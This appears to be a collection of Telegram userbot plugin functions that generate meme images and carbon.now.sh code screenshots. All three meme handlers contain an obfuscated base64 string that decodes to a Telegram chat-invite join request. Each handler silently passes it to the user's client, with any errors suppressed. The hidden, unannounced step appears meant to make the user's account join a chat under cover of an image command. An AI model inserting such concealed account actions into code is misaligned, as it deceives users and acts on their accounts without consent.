async def nekobot(borg): text = borg.pattern_match.group(1) reply_to_id = borg.message if borg.reply_to_msg_id: reply_to_id = await borg.get_reply_message() if not text: if borg.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await borg.edit("Send you text to Mia so she can tweet.") return else: await borg.edit("Send you text to Mia so she can tweet.") return await borg.edit("Requesting Mia to tweet...") try: hell = str( pybase64.b64decode("SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=") )[2:49] await borg.client(hell) except: pass text = deEmojify(text) borgfile = await miatweet(text) await borg.client.send_file(borg.chat_id , borgfile , reply_to = reply_to_id ) await borg.delete()
async def nekobot(borg): text = borg.pattern_match.group(1) reply_to_id = borg.message if borg.reply_to_msg_id: reply_to_id = await borg.get_reply_message() if not text: if borg.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await borg.edit("Give text for to write on banner, man") return else: await borg.edit("Give text for to write on banner, man") return await borg.edit("Your banner is under creation wait a sec...") try: hell = str(pybase64.b64decode("SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=") )[2:49] await borg.client(hell) except: pass text = deEmojify(text) borgfile = await changemymind(text) await borg.client.send_file(borg.chat_id , borgfile , reply_to = reply_to_id ) await borg.delete()
async def nekobot(borg): text = borg.pattern_match.group(1) reply_to_id = borg.message if borg.reply_to_msg_id: reply_to_id = await borg.get_reply_message() if not text: if borg.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await borg.edit("what should kanna write give text ") return else: await borg.edit("what should kanna write give text") return await borg.edit("Kanna is writing your text...") try: hell = str( pybase64.b64decode("SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=") )[2:49] await borg.client(hell) except: pass text = deEmojify(text) borgfile = await kannagen(text) await borg.client.send_file(borg.chat_id , borgfile , reply_to = reply_to_id ) await borg.delete()
async def carbon_api(e): """ A Wrapper for carbon.now.sh """ await e.edit("`Processing..`") CARBON = "https://carbon.now.sh/?l={lang}&code={code}" textx = await e.get_reply_message() pcode = e.text if pcode[8:]: pcode = str(pcode[8:]) elif textx: pcode = str(textx.message) # Importing message to module pcode = deEmojify(pcode) code = quote_plus(pcode) # Converting to urlencoded hell = await edit_or_reply(e, "`Carbonizing...\n25%`") url = CARBON.format(code=code, lang=CARBONLANG) chrome_options = Options() chrome_options.add_argument("--headless") chrome_options.binary_location = Config.CHROME_BIN chrome_options.add_argument("--window-size=1920x1080") chrome_options.add_argument("--disable-dev-shm-usage") chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("--disable-gpu") prefs = {"download.default_directory": "./"} chrome_options.add_experimental_option("prefs", prefs) driver = webdriver.Chrome(executable_path=Config.CHROME_DRIVER, options=chrome_options) driver.get(url) await hell.edit("`Be Patient...\n50%`") download_path = "./" driver.command_executor._commands["send_command"] = ( "POST", "/session/$sessionId/chromium/send_command", ) params = { "cmd": "Page.setDownloadBehavior", "params": { "behavior": "allow", "downloadPath": download_path }, } driver.execute("send_command", params) driver.find_element_by_xpath("//button[contains(text(),'Export')]").click() # driver.find_element_by_xpath("//button[contains(text(),'4x')]").click() # driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click() await hell.edit("`Processing..\n75%`") # Waiting for downloading await asyncio.sleep(2) await hell.edit("`Done Dana Done...\n100%`") file = "./carbon.png" await hell.edit("`Uploading..`") await e.client.send_file( e.chat_id, file, caption="Here's your carbon, \n Carbonised by Hêllẞø†", force_document=True, reply_to=e.message.reply_to_msg_id, ) os.remove("./carbon.png") driver.quit() # Removing carbon.png after uploading await hell.delete()
async def carbon_api(e): godboy = await edit_or_reply(e, "`Processing....`") CARBON = "https://carbon.now.sh/?l={lang}&code={code}" textx = await e.get_reply_message() pcode = e.text if pcode[5:]: pcodee = str(pcode[5:]) if "|" in pcodee: pcode, skeme = pcodee.split("|") else: pcode = pcodee skeme = None elif textx: pcode = str(textx.message) skeme = None # Importing message to module pcode = deEmojify(pcode) code = quote_plus(pcode) # Converting to urlencoded await godboy.edit("`Meking Carbon...`\n`25%`") url = CARBON.format(code=code, lang=CARBONLANG) chrome_options = Options() chrome_options.add_argument("--headless") chrome_options.binary_location = CHROME_BIN # fixed by madboy482 # SAY NO TO KANGS, ELSE GEND FAD DI JAYEGI chrome_options.add_argument("--window-size=1920x1080") chrome_options.add_argument("--disable-dev-shm-usage") chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("--disable-gpu") prefs = {"download.default_directory": "./"} chrome_options.add_experimental_option("prefs", prefs) driver = webdriver.Chrome(executable_path=Config.CHROME_DRIVER, options=chrome_options) driver.get(url) await godboy.edit("`Be Patient...\n50%`") download_path = "./" driver.command_executor._commands["send_command"] = ( "POST", "/session/$sessionId/chromium/send_command", ) params = { "cmd": "Page.setDownloadBehavior", "params": { "behavior": "allow", "downloadPath": download_path }, } driver.execute("send_command", params) driver.find_element_by_xpath( "/html/body/div[1]/main/div[3]/div[2]/div[1]/div[1]/div/span[2]" ).click() if skeme is not None: k_skeme = driver.find_element_by_xpath( "/html/body/div[1]/main/div[3]/div[2]/div[1]/div[1]/div/span[2]/input" ) k_skeme.send_keys(skeme) k_skeme.send_keys(Keys.DOWN) k_skeme.send_keys(Keys.ENTER) else: color_scheme = str(random.randint(1, 29)) driver.find_element_by_id(("downshift-0-item-" + color_scheme)).click() driver.find_element_by_id("export-menu").click() driver.find_element_by_xpath("//button[contains(text(),'4x')]").click() driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click() await godboy.edit("`Processing..\n75%`") # Waiting for downloading await asyncio.sleep(2.5) color_name = driver.find_element_by_xpath( "/html/body/div[1]/main/div[3]/div[2]/div[1]/div[1]/div/span[2]/input" ).get_attribute("value") await godboy.edit("`Done Dana Done...\n100%`") file = "./carbon.png" await godboy.edit("`Uploading..`") await e.client.send_file( e.chat_id, file, caption="`Here's your carbon!` \n**Colour Scheme: **`{}`".format( color_name), force_document=True, reply_to=e.message.reply_to_msg_id, ) os.remove("./carbon.png") driver.quit() await godboy.delete()